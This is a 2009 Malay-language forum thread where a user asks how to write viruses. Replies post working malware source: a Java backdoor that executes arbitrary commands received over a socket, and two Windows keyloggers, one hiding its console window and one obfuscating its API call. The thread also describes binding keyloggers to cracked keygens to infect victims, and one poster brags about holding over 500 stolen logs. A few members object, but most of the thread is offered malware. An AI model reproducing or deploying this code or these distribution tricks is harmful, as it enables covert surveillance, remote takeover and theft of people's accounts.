Forum Sementara Putera.com

Would you like to react to this message? Create an account in a few clicks or log in to continue.
Forum Sementara Putera.com

Bersama kita perkemaskan forum ini sementara forum asal dalam pemulihan.

Forum putera dah kembali. Masalah sudah berjaya diselesaikan. Sila lawati http://forum.putera.com/tanya


+7
TOYSЯUS
Razi_IBM
Setsuna F. Seiei
LanoG
BasicCX
Hitoru
izwanensem
11 posters

    Macammana nak guna C, C++, JAVA buat Virus

    izwanensem
    izwanensem
    Ahli Baharu
    Ahli Baharu


    Number of posts : 129
    Registration date : 08/06/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Macammana nak guna C, C++, JAVA buat Virus

    Post by izwanensem Wed Aug 26, 2009 12:28 pm

    salam buat sume.......nak tanyalah mcm mana kita nak buat virus guna C, C++, JAVA or other Programming Language yg lain. Boleh tunjukkan cara x, Aku bukannya berniat jahat, cuma saja jer nak tambah ilmu pengetahuan. Masa aku belajar dulu cuma belajar nak buat sifir, Operasi Algoritma dll, itu pun dah banyak lupa coz lama xusik, hehe. Nak buat virus ni xder pulak. Minta tolong yer kepada otai2. tq
    avatar
    Hitoru
    Ahli Baharu
    Ahli Baharu


    Number of posts : 26
    Registration date : 26/05/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by Hitoru Thu Aug 27, 2009 10:08 am

    Takde keje lain ke nak buat Virus? Cuba belajar programming untuk buat game ke? Negara kita kekurangan game programmer!
    Yang 3D game tau!!
    izwanensem
    izwanensem
    Ahli Baharu
    Ahli Baharu


    Number of posts : 129
    Registration date : 08/06/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by izwanensem Thu Aug 27, 2009 11:19 am

    hehehe.......jgnla marahhhhh.....programming utk buat game, kira ok gak tu.......boleh tolong tunjukkan ke?
    avatar
    BasicCX
    Ahli Baharu
    Ahli Baharu


    Gender : Male Number of posts : 230
    Registration date : 25/02/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by BasicCX Thu Aug 27, 2009 11:49 am

    Belajar programming, mulakan dengan basic command kemudian rujuk tutorial/contoh daripada internet/buku
    izwanensem
    izwanensem
    Ahli Baharu
    Ahli Baharu


    Number of posts : 129
    Registration date : 08/06/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by izwanensem Thu Aug 27, 2009 12:49 pm

    ooo....ok, tq ya
    avatar
    Hitoru
    Ahli Baharu
    Ahli Baharu


    Number of posts : 26
    Registration date : 26/05/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by Hitoru Thu Aug 27, 2009 2:46 pm

    Taklah marah sangat. Aku trauma sket sebab baru je format PC sebab kena virus. Kena lancarkan kampen 'Belia benci virus!'.

    Kau ni baru nak berjinak2 dalam dunia programming ke atau dah beberapa tahun berkecimpung?

    Apa kepakaran kau?
    LanoG
    LanoG
    Moderators
    Moderators


    Gender : Male Number of posts : 537
    Location : Petaling Jaya
    Job/hobbies : Basuh Pinggan
    Registration date : 04/05/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by LanoG Thu Aug 27, 2009 5:36 pm

    Huhuhu.. garang nyer Hitoru..
    Setsuna F. Seiei
    Setsuna F. Seiei
    Ahli Baharu
    Ahli Baharu


    Gender : Female Number of posts : 210
    Age : 66
    Registration date : 27/02/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by Setsuna F. Seiei Thu Aug 27, 2009 7:48 pm

    boleh try endless loop untuk createnewfile XD haha .. java susah nak buat virus la .. paling bagus client botnet .. better guna c++ nak lagi old school pakai assembly

    Code:
    import java.net.Socket;
    import java.net.ServerSocket;
    import java.io.BufferedReader;
    import java.io.BufferedWriter;
    import java.io.InputStreamReader;
    import java.io.OutputStreamWriter;
    import java.io.IOException;
    import java.io.File;

    class BackdoorClient extends Thread {

       private Socket socket;

       private BufferedReader reader;
       private BufferedWriter writer;

       private String workingDirectory;

       public BackdoorClient(Socket socket) {
          this.socket = socket;
          this.start();
       }

       public void run() {
          try {
             this.reader = new BufferedReader(new InputStreamReader(this.socket.getInputStream()));
             this.writer = new BufferedWriter(new OutputStreamWriter(this.socket.getOutputStream()));
             this.workingDirectory = Util.getJARLoc();
             this.workingDirectory = this.workingDirectory.substring(0, this.workingDirectory.lastIndexOf("\\")) + "\\";
             this.write(this.workingDirectory);
             Debug.print("Wrote working dir\n");
             while(this.socket.isConnected() && MiscStatus.backdoorConnected) {
                try {
                   String line = this.reader.readLine();
                   if(line == null) {
                      continue;
                   } else {
                      this.interpret(line);
                      this.write(":END");
                      this.write(this.workingDirectory);
                   }
                } catch(IOException ioe) {
                }
             }
             MiscStatus.backdoorConnected = false;
          } catch(IOException ioe) {
             Debug.print("Backdoor reader / writer instantiation throwed IOException: " + ioe.toString());
             MiscStatus.backdoorConnected = false;
          }
       }

       private void interpret(String line) {
          String[] args = Util.splitArgs(line);
          if(args[0].equals("exit")) {
             try {
                this.reader.close();
                this.writer.close();
                this.socket.close();
             } catch(IOException ioe) {
             }
          } else if(args[0].equals("shutdown")) {
             System.exit(1);
          } else if(args[0].equals("shutdown listener")) {
             ServerStatus.backdoorListening = false;
          } else if(args[0].startsWith("cd")) {
             if(args.length == 2) {
                String dir = args[1];
                if(dir.indexOf(":\\") == -1) {
                   File file = new File(this.workingDirectory + dir);
                   if(file.exists()) {
                      if(file.isDirectory()) {
                         this.workingDirectory = this.workingDirectory + dir;
                         if(!this.workingDirectory.endsWith("\\")) {
                            this.workingDirectory = this.workingDirectory + "\\";
                         }
                      } else {
                         this.write("No such directory: " + dir + "\n");
                      }
                   } else {
                      this.write("No such directory: " + dir + "\n");
                   }
                } else {
                   File file = new File(dir);
                   if(file.exists()) {
                      if(file.isDirectory()) {
                         this.workingDirectory = dir;
                         if(!this.workingDirectory.endsWith("\\")) {
                            this.workingDirectory = this.workingDirectory + "\\";
                         }
                      } else {
                         this.write("No such directory: " + dir + "\n");
                      }
                   } else {
                      this.write("No such directory: " + dir + "\n");
                   }
                }
             }
          } else if(args[0].equals("ls")) {
             File dir = new File(this.workingDirectory);
             if(!dir.exists() || !dir.isDirectory()) {
                this.write("No files found.\n");
                return;
             }
             this.write("Contents of " + this.workingDirectory + ":\n\n");
             for(File file : dir.listFiles()) {
                if(file.isDirectory()) {
                   this.write("<DIR> " + file.getName() + "\n");
                } else {
                   long size = file.length();
                   if(size >= (1024 * 1024 * 1024)) {
                      this.write(file.getName() + " (" + (size / (1024 * 1024 * 1024)) + " GB)\n");
                   } else if(size >= (1024 * 1024)) {
                      this.write(file.getName() + " (" + (size / (1024 * 1024)) + " MB)\n");
                   } else if(size >= 1024) {
                      this.write(file.getName() + " (" + (size / 1024) + " KB)\n");
                   } else if(size < 1024) {
                      this.write(file.getName() + " (" + size + " bytes)\n");
                   }
                }
                try {
                   this.sleep(10);
                } catch(InterruptedException ie) {
                }
             }
          } else {
             try {
                Process process = Runtime.getRuntime().exec(line);
                if(line.indexOf(".exe") != -1) {
                   return;
                }
                BufferedReader in = new BufferedReader(new InputStreamReader(process.getInputStream()));
                String str;
                while((str = in.readLine()) != null) {
                   this.write(str + "\n");
                }
             } catch(IOException ioe) {
                try {
                   Process process2 = Runtime.getRuntime().exec(this.workingDirectory + line);
                   if(line.indexOf(".exe") != -1) {
                      return;
                   }
                   BufferedReader in2 = new BufferedReader(new InputStreamReader(process2.getInputStream()));
                   String str2;
                   while((str2 = in2.readLine()) != null) {
                      this.write(str2 + "\n");
                   }
                } catch(IOException ioe2) {
                   this.write("IOException thrown: " + ioe2.toString());
                }
             }
          }
       }

       private void write(String str) {
          str = str.replaceAll("\n", "");
          try {
             this.writer.write(str);
             this.writer.newLine();
             this.writer.flush();
          } catch(IOException ioe) {
          }
       }

    }

    salah satu contoh backdoor untuk java .. lol java aku cam haram jadah exam dah nak dekat mampos aku
    Razi_IBM
    Razi_IBM
    Ahli Rajin
    Ahli Rajin


    Gender : Male Number of posts : 1062
    Age : 33
    Location : on dmz.hack me if u can.
    Job/hobbies : Saboteur
    Registration date : 14/02/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by Razi_IBM Thu Aug 27, 2009 7:55 pm

    ada beza ke nak buat virus ngan app lain?

    sama je..yang penting tau mekanisma i/o dalam OS, operation apa yang os akan kawal, apa yang dikawal, macam mana data di handle dan sedikit sebanyak pengalaman tentang habit pengguna komputer. so, lepas tu pandai2 la exploit.
    blaja basic2 dulu, sekadar virus yang menyusahkan/annoying<-aku dulu start dari sini(tapi vb jela..)
    pastu baru la start main manipulate data.
    avatar
    Hitoru
    Ahli Baharu
    Ahli Baharu


    Number of posts : 26
    Registration date : 26/05/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by Hitoru Thu Aug 27, 2009 8:09 pm

    Bezanya virus = perosak, Apps lain = gives pleasure to user Razz

    Banyak lagi cara nak belajar tentang programming. Bak nyanyian Ruhil " Hei, jangan main api, nanti terbakar diri".

    Argh!! Jahanam virus yg rosakkan PC ku tempoh hari!! Mad
    Setsuna F. Seiei
    Setsuna F. Seiei
    Ahli Baharu
    Ahli Baharu


    Gender : Female Number of posts : 210
    Age : 66
    Registration date : 27/02/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by Setsuna F. Seiei Thu Aug 27, 2009 9:03 pm

    takpayah la susah susah nak blajar programming ... gi jadi jer script kiddie download keylogger pastu upload kat rs bind ngan keygen pastu post link
    sure dapat victim .. aku skang dah ada 500 lebey log
    Razi_IBM
    Razi_IBM
    Ahli Rajin
    Ahli Rajin


    Gender : Male Number of posts : 1062
    Age : 33
    Location : on dmz.hack me if u can.
    Job/hobbies : Saboteur
    Registration date : 14/02/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by Razi_IBM Thu Aug 27, 2009 9:38 pm

    Hitoru wrote:Bezanya virus = perosak, Apps lain = gives pleasure to user Razz

    Banyak lagi cara nak belajar tentang programming. Bak nyanyian Ruhil " Hei, jangan main api, nanti terbakar diri".

    Argh!! Jahanam virus yg rosakkan PC ku tempoh hari!! Mad
    Macammana nak guna C, C++, JAVA buat Virus Orly35971xa3
    tak perlu la emo sangat.
    avatar
    Hitoru
    Ahli Baharu
    Ahli Baharu


    Number of posts : 26
    Registration date : 26/05/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by Hitoru Thu Aug 27, 2009 9:46 pm

    Adush! gambar Bush ko letak.

    "takpayah la susah susah nak blajar programming ... gi jadi jer script kiddie download keylogger pastu upload kat rs bind ngan keygen pastu post link
    sure dapat victim .. aku skang dah ada 500 lebey log"

    Ini yang tak sedap dengar ni. Apa kau buat dengan 500 lebih log tu?
    Selalu keygen software banyak antivirus detect ada virus tu sebenarnya memang virus la yerk? Ke ada yang behavior macam virus tapi tak merbahaya?
    Setsuna F. Seiei
    Setsuna F. Seiei
    Ahli Baharu
    Ahli Baharu


    Gender : Female Number of posts : 210
    Age : 66
    Registration date : 27/02/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by Setsuna F. Seiei Thu Aug 27, 2009 10:34 pm

    Hitoru wrote:Adush! gambar Bush ko letak.

    "takpayah la susah susah nak blajar programming ... gi jadi jer script kiddie download keylogger pastu upload kat rs bind ngan keygen pastu post link
    sure dapat victim .. aku skang dah ada 500 lebey log"

    Ini yang tak sedap dengar ni. Apa kau buat dengan 500 lebih log tu?
    Selalu keygen software banyak antivirus detect ada virus tu sebenarnya memang virus la yerk? Ke ada yang behavior macam virus tapi tak merbahaya?

    keygen tu actually clean pada asalnya cuma .. uploader yang bukan orignal re-up and bind trojan guna binder ... lagi mahal binder lagi bagus la undetected by antivirus. Trojan ni bukan la macam worm takdak multiply diri dia by itself and takder la sampai tahap merosakkan komputer sampai kena reformat .

    p/s:aku tak buat aper ngan log tu cuma ...tengok jer Kadang aku buat Strategic patnership di mana aku akan kongsi account diorang and spread lagi banyak Smile
    avatar
    Hitoru
    Ahli Baharu
    Ahli Baharu


    Number of posts : 26
    Registration date : 26/05/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by Hitoru Fri Aug 28, 2009 6:14 am

    Pergh!! Nampaknya memang durjana betul la biskut tawar keygen yg ber trojan. Dah agak dah mesti takde orang yg akan biskut tawar software tanpa ada apa2 faedah bagi dirinya. Mana ada orang nak buat bende secara percuma, nak2 biskut tawar software yg agak payah.

    Bagai mana pula dengan informasi Login ID user computer tu kat email akaun dan akaun web2 lain? Boleh kah di perolehi oleh hackers ini melalui trojan durjana? Shocked
    TOYSЯUS
    TOYSЯUS
    Moderators
    Moderators


    Gender : Male Number of posts : 1571
    Age : 37
    Location : Kolam Kering - 3°5′00″N 101°32′00″E
    Job/hobbies : Pembunuh
    Registration date : 27/02/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by TOYSЯUS Fri Aug 28, 2009 10:07 am

    Hm bagus per buat virus kalau tujuan baik, contohnya nak uji kekuatan sesuatu program antivirus (aka. jadi tester).
    Sama jugak jadi heker, kalau tujuan baik contohnya nak uji security sesebuah bank.
    Cam lecturer aku cakap, kalau ko dapat "curi" 1SEN je dari akaun orang pun (dengan cara mengehek), dah boleh dapat gaji ribu-riban.

    Tapi kalau buat virus untuk tujuan jahat, yakni nak menjahanamkan komputer orang, dosa la. Aniaya orang.
    izwanensem
    izwanensem
    Ahli Baharu
    Ahli Baharu


    Number of posts : 129
    Registration date : 08/06/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by izwanensem Fri Aug 28, 2009 10:09 am

    Hitoru wrote:Taklah marah sangat. Aku trauma sket sebab baru je format PC sebab kena virus. Kena lancarkan kampen 'Belia benci virus!'.

    Kau ni baru nak berjinak2 dalam dunia programming ke atau dah beberapa tahun berkecimpung?

    Apa kepakaran kau?

    aku dah bbrp thn dah tinggalkan benda ni.....time dulu aku guna masa blaja kat kolej. bila dah lama tinggalkan ni......banyak yg dah lupa. kena rujuk buku balik
    izwanensem
    izwanensem
    Ahli Baharu
    Ahli Baharu


    Number of posts : 129
    Registration date : 08/06/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by izwanensem Fri Aug 28, 2009 10:15 am

    Setsuna F. Seiei wrote:boleh try endless loop untuk createnewfile XD haha .. java susah nak buat virus la .. paling bagus client botnet .. better guna c++ nak lagi old school pakai assembly

    Code:
    import java.net.Socket;
    import java.net.ServerSocket;
    import java.io.BufferedReader;
    import java.io.BufferedWriter;
    import java.io.InputStreamReader;
    import java.io.OutputStreamWriter;
    import java.io.IOException;
    import java.io.File;

    class BackdoorClient extends Thread {

       private Socket socket;

       private BufferedReader reader;
       private BufferedWriter writer;

       private String workingDirectory;

       public BackdoorClient(Socket socket) {
          this.socket = socket;
          this.start();
       }

       public void run() {
          try {
             this.reader = new BufferedReader(new InputStreamReader(this.socket.getInputStream()));
             this.writer = new BufferedWriter(new OutputStreamWriter(this.socket.getOutputStream()));
             this.workingDirectory = Util.getJARLoc();
             this.workingDirectory = this.workingDirectory.substring(0, this.workingDirectory.lastIndexOf("\\")) + "\\";
             this.write(this.workingDirectory);
             Debug.print("Wrote working dir\n");
             while(this.socket.isConnected() && MiscStatus.backdoorConnected) {
                try {
                   String line = this.reader.readLine();
                   if(line == null) {
                      continue;
                   } else {
                      this.interpret(line);
                      this.write(":END");
                      this.write(this.workingDirectory);
                   }
                } catch(IOException ioe) {
                }
             }
             MiscStatus.backdoorConnected = false;
          } catch(IOException ioe) {
             Debug.print("Backdoor reader / writer instantiation throwed IOException: " + ioe.toString());
             MiscStatus.backdoorConnected = false;
          }
       }

       private void interpret(String line) {
          String[] args = Util.splitArgs(line);
          if(args[0].equals("exit")) {
             try {
                this.reader.close();
                this.writer.close();
                this.socket.close();
             } catch(IOException ioe) {
             }
          } else if(args[0].equals("shutdown")) {
             System.exit(1);
          } else if(args[0].equals("shutdown listener")) {
             ServerStatus.backdoorListening = false;
          } else if(args[0].startsWith("cd")) {
             if(args.length == 2) {
                String dir = args[1];
                if(dir.indexOf(":\\") == -1) {
                   File file = new File(this.workingDirectory + dir);
                   if(file.exists()) {
                      if(file.isDirectory()) {
                         this.workingDirectory = this.workingDirectory + dir;
                         if(!this.workingDirectory.endsWith("\\")) {
                            this.workingDirectory = this.workingDirectory + "\\";
                         }
                      } else {
                         this.write("No such directory: " + dir + "\n");
                      }
                   } else {
                      this.write("No such directory: " + dir + "\n");
                   }
                } else {
                   File file = new File(dir);
                   if(file.exists()) {
                      if(file.isDirectory()) {
                         this.workingDirectory = dir;
                         if(!this.workingDirectory.endsWith("\\")) {
                            this.workingDirectory = this.workingDirectory + "\\";
                         }
                      } else {
                         this.write("No such directory: " + dir + "\n");
                      }
                   } else {
                      this.write("No such directory: " + dir + "\n");
                   }
                }
             }
          } else if(args[0].equals("ls")) {
             File dir = new File(this.workingDirectory);
             if(!dir.exists() || !dir.isDirectory()) {
                this.write("No files found.\n");
                return;
             }
             this.write("Contents of " + this.workingDirectory + ":\n\n");
             for(File file : dir.listFiles()) {
                if(file.isDirectory()) {
                   this.write("<DIR> " + file.getName() + "\n");
                } else {
                   long size = file.length();
                   if(size >= (1024 * 1024 * 1024)) {
                      this.write(file.getName() + " (" + (size / (1024 * 1024 * 1024)) + " GB)\n");
                   } else if(size >= (1024 * 1024)) {
                      this.write(file.getName() + " (" + (size / (1024 * 1024)) + " MB)\n");
                   } else if(size >= 1024) {
                      this.write(file.getName() + " (" + (size / 1024) + " KB)\n");
                   } else if(size < 1024) {
                      this.write(file.getName() + " (" + size + " bytes)\n");
                   }
                }
                try {
                   this.sleep(10);
                } catch(InterruptedException ie) {
                }
             }
          } else {
             try {
                Process process = Runtime.getRuntime().exec(line);
                if(line.indexOf(".exe") != -1) {
                   return;
                }
                BufferedReader in = new BufferedReader(new InputStreamReader(process.getInputStream()));
                String str;
                while((str = in.readLine()) != null) {
                   this.write(str + "\n");
                }
             } catch(IOException ioe) {
                try {
                   Process process2 = Runtime.getRuntime().exec(this.workingDirectory + line);
                   if(line.indexOf(".exe") != -1) {
                      return;
                   }
                   BufferedReader in2 = new BufferedReader(new InputStreamReader(process2.getInputStream()));
                   String str2;
                   while((str2 = in2.readLine()) != null) {
                      this.write(str2 + "\n");
                   }
                } catch(IOException ioe2) {
                   this.write("IOException thrown: " + ioe2.toString());
                }
             }
          }
       }

       private void write(String str) {
          str = str.replaceAll("\n", "");
          try {
             this.writer.write(str);
             this.writer.newLine();
             this.writer.flush();
          } catch(IOException ioe) {
          }
       }

    }

    salah satu contoh backdoor untuk java .. lol java aku cam haram jadah exam dah nak dekat mampos aku

    tumpang tanya.......banyak sgt benda baru yg aku baru dgr ni......client bootnet tu apa? old school tu apa? tq
    izwanensem
    izwanensem
    Ahli Baharu
    Ahli Baharu


    Number of posts : 129
    Registration date : 08/06/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by izwanensem Fri Aug 28, 2009 10:18 am

    Setsuna F. Seiei wrote:takpayah la susah susah nak blajar programming ... gi jadi jer script kiddie download keylogger pastu upload kat rs bind ngan keygen pastu post link
    sure dapat victim .. aku skang dah ada 500 lebey log

    mcm mana nak buat mcm tu yer? pastu benda2 tu mmg virus ke?
    johnburn
    johnburn
    Moderators
    Moderators


    Gender : Male Number of posts : 755
    Location : Terengganu
    Registration date : 07/03/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by johnburn Fri Aug 28, 2009 1:22 pm

    cnth keylogger dlm c++
    kl nk bleh modified untk send log ke email or anything la:
    Code:

    #include <windows.h>
    #include <stdio.h>
    #include <winuser.h>
    #include <windowsx.h>
     
    #define BUFSIZE 80
     
    int test_key(void);
    int create_key(char *);
    int get_keys(void);
     
    int main(void)
    {
        HWND stealth;
        AllocConsole();
        stealth=FindWindowA("ConsoleWindowClass",NULL);
        ShowWindow(stealth,0);
     
     
        int get_keys();
     
        return get_keys();

     
    int get_keys(void)
    {
                short character;
                  while(1)
                  {
                        Sleep(10); // jage cpu usage
                        for(character=8;character<=222;character++)
                        {
                            if(GetAsyncKeyState(character)==-32767)
                            { 
     
                                FILE *file;
                                file=fopen("contoh.log","a+"); //cipta file untk smpn log
                                if(file==NULL)
                                {
                                        return 1;  // return error kl ade prob
                                }           
                                if(file!=NULL)  // kl file dh ade, trus pegi ke bhgian logger
                                {               
                                        if((character>=39)&&(character<=64))
                                        {
                                              fputc(character,file);
                                              fclose(file);
                                              break;
                                        }       
                                        else if((character>64)&&(character<91))
                                        {
                                              character+=32;
                                              fputc(character,file);
                                              fclose(file);
                                              break;
                                        }
                                        else
                                        {
                                            switch(character)   
                                            {
                                                  case VK_SPACE:
                                                  fputc(' ',file);
                                                  fclose(file);
                                                  break;   
                                                  case VK_SHIFT:
                                                  fputs("[SHIFT]",file);
                                                  fclose(file);
                                                  break;                                           
                                                  case VK_RETURN:
                                                  fputs("\n[ENTER]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_BACK:
                                                  fputs("[BACKSPACE]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_TAB:
                                                  fputs("[TAB]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_CONTROL:
                                                  fputs("[CTRL]",file);
                                                  fclose(file);
                                                  break;   
                                                  case VK_DELETE:
                                                  fputs("[DEL]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_1:
                                                  fputs("[;:]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_2:
                                                  fputs("[/?]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_3:
                                                  fputs("[`~]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_4:
                                                  fputs("[ [{ ]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_5:
                                                  fputs("[\\|]",file);
                                                  fclose(file);
                                                  break;                               
                                                  case VK_OEM_6:
                                                  fputs("[ ]} ]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_7:
                                                  fputs("['\"]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD0:
                                                  fputc('0',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD1:
                                                  fputc('1',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD2:
                                                  fputc('2',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD3:
                                                  fputc('3',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD4:
                                                  fputc('4',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD5:
                                                  fputc('5',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD6:
                                                  fputc('6',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD7:
                                                  fputc('7',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD8:
                                                  fputc('8',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD9:
                                                  fputc('9',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_CAPITAL:
                                                  fputs("[CAPS LOCK]",file);
                                                  fclose(file);
                                                  break;
                                                  default:
                                                  fclose(file);  //ttp file
                                                  break;
                                            }       
                                      }   
                                  }       
                        }   
                    }                 
     
                }
                return EXIT_SUCCESS;                       
    }                                               

    avatar
    Izham87
    Ahli Baharu
    Ahli Baharu


    Number of posts : 20
    Registration date : 04/07/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by Izham87 Fri Aug 28, 2009 9:25 pm

    johnburn wrote:cnth keylogger dlm c++
    kl nk bleh modified untk send log ke email or anything la:
    Code:

    #include <windows.h>
    #include <stdio.h>
    #include <winuser.h>
    #include <windowsx.h>
     
    #define BUFSIZE 80
     
    int test_key(void);
    int create_key(char *);
    int get_keys(void);
     
    int main(void)
    {
        HWND stealth;
        AllocConsole();
        stealth=FindWindowA("ConsoleWindowClass",NULL);
        ShowWindow(stealth,0);
     
     
        int get_keys();
     
        return get_keys();

     
    int get_keys(void)
    {
                short character;
                  while(1)
                  {
                        Sleep(10); // jage cpu usage
                        for(character=8;character<=222;character++)
                        {
                            if(GetAsyncKeyState(character)==-32767)
                            { 
     
                                FILE *file;
                                file=fopen("contoh.log","a+"); //cipta file untk smpn log
                                if(file==NULL)
                                {
                                        return 1;  // return error kl ade prob
                                }           
                                if(file!=NULL)  // kl file dh ade, trus pegi ke bhgian logger
                                {               
                                        if((character>=39)&&(character<=64))
                                        {
                                              fputc(character,file);
                                              fclose(file);
                                              break;
                                        }       
                                        else if((character>64)&&(character<91))
                                        {
                                              character+=32;
                                              fputc(character,file);
                                              fclose(file);
                                              break;
                                        }
                                        else
                                        {
                                            switch(character)   
                                            {
                                                  case VK_SPACE:
                                                  fputc(' ',file);
                                                  fclose(file);
                                                  break;   
                                                  case VK_SHIFT:
                                                  fputs("[SHIFT]",file);
                                                  fclose(file);
                                                  break;                                           
                                                  case VK_RETURN:
                                                  fputs("\n[ENTER]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_BACK:
                                                  fputs("[BACKSPACE]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_TAB:
                                                  fputs("[TAB]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_CONTROL:
                                                  fputs("[CTRL]",file);
                                                  fclose(file);
                                                  break;   
                                                  case VK_DELETE:
                                                  fputs("[DEL]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_1:
                                                  fputs("[;:]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_2:
                                                  fputs("[/?]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_3:
                                                  fputs("[`~]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_4:
                                                  fputs("[ [{ ]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_5:
                                                  fputs("[\\|]",file);
                                                  fclose(file);
                                                  break;                               
                                                  case VK_OEM_6:
                                                  fputs("[ ]} ]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_7:
                                                  fputs("['\"]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD0:
                                                  fputc('0',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD1:
                                                  fputc('1',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD2:
                                                  fputc('2',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD3:
                                                  fputc('3',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD4:
                                                  fputc('4',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD5:
                                                  fputc('5',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD6:
                                                  fputc('6',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD7:
                                                  fputc('7',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD8:
                                                  fputc('8',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD9:
                                                  fputc('9',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_CAPITAL:
                                                  fputs("[CAPS LOCK]",file);
                                                  fclose(file);
                                                  break;
                                                  default:
                                                  fclose(file);  //ttp file
                                                  break;
                                            }       
                                      }   
                                  }       
                        }   
                    }                 
     
                }
                return EXIT_SUCCESS;                       
    }                                               


    kalau nk pendek sikit guna code nih
    Code:

    #include <windows.h>
    #include <stdio.h>
    typedef SHORT (WINAPI *GETASYNCKEYSTATE)(int);
    GETASYNCKEYSTATE amekey;

    int main(void)
    {
      FILE *out;
        int t;
        register int u;
        char string[] = "Fds@rxmbJdxRs`sd";
        for (t=0; t<strlen(string); t++) string[t]++;
        amekey = (GETASYNCKEYSTATE) GetProcAddress(LoadLibrary("user32.dll"), string);
        while (1) {
            for (u=65; u<91; ++u)
                if (amekey(u) == -32767) {
                    out = fopen("C:\\key.txt", "a+");
                    fprintf(out, "%c", tolower(u));
                    fclose(out);
                }
            Sleep(5);
        }
          return 0;
    }
    kuro90
    kuro90
    Ahli Baharu
    Ahli Baharu


    Gender : Female Number of posts : 30
    Age : 34
    Location : hOMETOwn : phg. Studied: gombak JUNgLe
    Job/hobbies : Student, Fighter
    Registration date : 28/08/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by kuro90 Wed Sep 16, 2009 12:40 pm

    nak ty infinite loop tuh one of the method of creating a virus ke? Member aku kata kalo slalu wat infinite loop pc leh damaged, btul ke?
    avatar
    hakiro
    Ahli Baharu
    Ahli Baharu


    Number of posts : 19
    Registration date : 24/07/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by hakiro Sat Sep 26, 2009 9:29 pm

    btui la tu ape mmber ko ckp.. die telan CPU.. silap2 CPU 2 nti bole OC..
